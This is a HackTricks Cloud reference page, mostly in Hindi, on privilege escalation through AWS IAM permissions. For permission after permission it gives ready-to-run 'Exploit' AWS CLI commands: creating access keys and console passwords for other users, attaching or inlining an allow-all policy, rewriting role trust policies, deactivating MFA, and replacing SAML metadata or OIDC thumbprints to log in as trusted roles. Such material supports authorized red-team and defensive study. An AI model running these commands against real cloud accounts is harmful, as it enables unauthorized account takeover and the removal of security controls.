AWS - IAM Privesc
Reading time: 9 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:
HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
IAM
IAM के बारे में अधिक जानकारी के लिए देखें:
AWS - IAM, Identity Center & SSO Enum
iam:CreatePolicyVersion
एक नया IAM policy version बनाने की क्षमता देता है, bypassing the need for iam:SetDefaultPolicyVersion permission by using the --set-as-default flag. यह कस्टम permissions परिभाषित करने में सक्षम बनाता है।
Exploit Command:
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default
प्रभाव: किसी भी संसाधन पर किसी भी क्रिया की अनुमति देकर प्रत्यक्ष रूप से privileges बढ़ाता है।
iam:SetDefaultPolicyVersion
IAM policy के डिफ़ॉल्ट वर्शन को किसी अन्य मौजूदा वर्शन में बदलने की अनुमति देता है, जो कि नए वर्शन में अधिक permissions होने पर संभावित रूप से privileges बढ़ा सकता है।
Bash कमांड:
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
प्रभाव: अधिक permissions सक्षम करने से अप्रत्यक्ष privilege escalation होता है।
iam:CreateAccessKey
किसी अन्य उपयोगकर्ता के लिए access key ID और secret access key बनाने की अनुमति देता है, जिससे संभावित privilege escalation हो सकता है।
Exploit:
aws iam create-access-key --user-name <target_user>
Impact: किसी अन्य उपयोगकर्ता के विस्तारित permissions को अपनाकर सीधे privilege escalation।
iam:CreateLoginProfile | iam:UpdateLoginProfile
login profile बनाने या अपडेट करने की अनुमति देता है, जिसमें AWS console login के लिए पासवर्ड सेट करना शामिल है, जो सीधे privilege escalation की ओर ले जाता है।
Exploit for Creation:
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
Exploit अपडेट के लिए:
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
Impact: किसी भी user के रूप में लॉगिन करके सीधे privilege escalation।
iam:UpdateAccessKey
निष्क्रिय access key को सक्रिय करने की अनुमति देता है, जिससे संभवतः अनधिकृत पहुँच हो सकती है यदि attacker के पास वह निष्क्रिय access key मौजूद हो।
Exploit:
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
प्रभाव: एक्सेस कुंजियाँ पुनः सक्रिय करके सीधे privilege escalation संभव।
iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential
विशिष्ट AWS सेवाओं (उदा., CodeCommit, Amazon Keyspaces) के लिए क्रेडेंशियल्स उत्पन्न करने या रीसेट करने की अनुमति देता है, जो संबद्ध उपयोगकर्ता की अनुमतियाँ प्राप्त करते हैं।
Exploit for Creation:
aws iam create-service-specific-credential --user-name <username> --service-name <service>
Reset के लिए Exploit:
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
Impact: उपयोगकर्ता की सेवा अनुमतियों के भीतर सीधे privilege escalation।
iam:AttachUserPolicy || iam:AttachGroupPolicy
यह उपयोगकर्ताओं या समूहों पर नीतियाँ संलग्न करने की अनुमति देता है, और संलग्न नीति की अनुमतियाँ प्राप्त करके सीधे अधिकार बढ़ा देता है।
Exploit for User:
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
समूह के लिए Exploit:
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
प्रभाव: नीति द्वारा प्रदान किए गए किसी भी अधिकार पर प्रत्यक्ष privilege escalation।
iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy
यह roles, users, या groups पर नीतियाँ attach/put करने की अनुमति देता है, जिससे अतिरिक्त अनुमतियाँ देकर सीधे privilege escalation संभव हो जाता है।
Role के लिए Exploit:
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
Inline Policies के लिए Exploit:
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"
aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
आप निम्नलिखित नीति का उपयोग कर सकते हैं:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}
प्रभाव: नीतियों के माध्यम से permissions जोड़कर सीधे privilege escalation होता है।
iam:AddUserToGroup
खुद को एक IAM group में जोड़ने की अनुमति देता है, समूह की permissions को inherit करके privileges escalate हो जाते हैं।
Exploit:
aws iam add-user-to-group --group-name <group_name> --user-name <username>
प्रभाव: सीधे समूह की permissions के स्तर तक privilege escalation।
iam:UpdateAssumeRolePolicy
एक role के assume role policy document को बदलने की अनुमति देता है, जिससे उस role को assume करने और उससे जुड़ी permissions का उपयोग करने में सक्षम होता है।
Exploit:
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json
जहाँ पॉलिसी नीचे दिखाए अनुसार है, जो उपयोगकर्ता को उस रोल को assume करने की अनुमति देती है:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}
Impact: किसी भी role की permissions को assume करके Direct privilege escalation संभव।
iam:UploadSSHPublicKey || iam:DeactivateMFADevice
CodeCommit के लिए authenticating हेतु SSH public key अपलोड करने और MFA devices को deactivate करने की अनुमति देता है, जिससे संभावित indirect privilege escalation हो सकता है।
Exploit for SSH Key Upload:
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
Exploit के लिए MFA निष्क्रियकरण:
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
प्रभाव: CodeCommit एक्सेस सक्षम करके या MFA सुरक्षा अक्षम करके अप्रत्यक्ष privilege escalation।
iam:ResyncMFADevice
MFA डिवाइस का पुनः-सिंक करने की अनुमति देता है, जो MFA सुरक्षा में छेड़छाड़ करके संभावित रूप से अप्रत्यक्ष privilege escalation का कारण बन सकता है।
Bash Command:
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>
प्रभाव: MFA devices को जोड़ने या हेरफेर करने से अप्रत्यक्ष privilege escalation।
iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)
इन अनुमतियों के साथ आप SAML connection के XML metadata को बदल सकते हैं। फिर, आप SAML federation का दुरुपयोग करके किसी भी role जो उसे ट्रस्ट कर रहा हो के साथ login कर सकते हैं।
ध्यान दें कि ऐसा करने पर legit users won't be able to login। हालांकि, आप XML प्राप्त कर सकते हैं, अपना XML डालकर login कर सकते हैं और फिर पहले वाले को वापस कॉन्फ़िगर कर सकते हैं।
# List SAMLs
aws iam list-saml-providers
# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>
# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>
## Login impersonating roles that trust the SAML provider
# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
note
TODO: एक Tool जो SAML metadata जनरेट करने और एक निर्दिष्ट role के साथ login करने में सक्षम हो
iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)
(इस बारे में सुनिश्चित नहीं) यदि किसी attacker के पास ये permissions हों तो वह provider पर trust करने वाले सभी roles में login करने के लिए नया Thumbprint जोड़ सकता है।
# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3
iam:PutUserPermissionsBoundary
यह permission एक attacker को किसी user की permissions boundary को अपडेट करने की अनुमति देता है, जिससे संभावित रूप से उनके privileges escalate हो सकते हैं और वे उन actions को कर पाएंगे जो सामान्यतः उनके existing permissions द्वारा प्रतिबंधित होते हैं।
aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
--permissions-boundary arn:aws:iam::<cuenta>:policy/<nombre_politica>
Un ejemplo de una política que no aplica ninguna restricción es:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "BoundaryAllowAll",
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}
iam:PutRolePermissionsBoundary
iam:PutRolePermissionsBoundary अनुमति रखने वाला व्यक्ति किसी मौजूदा role पर permissions boundary सेट कर सकता है। जोखिम तब उत्पन्न होता है जब इस अनुमति वाला कोई role की boundary बदलता है: वे संचालन को अनुचित रूप से सीमित कर सकते हैं (जिससे service disruption हो सकता है) या, अगर वे एक permissive boundary अटैच करते हैं, तो प्रभावी रूप से role की क्षमताओं का विस्तार कर सकते हैं और escalate privileges कर सकते हैं।
aws iam put-role-permissions-boundary \
--role-name <Role_Name> \
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
संदर्भ
tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:
HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
HackTricks Cloud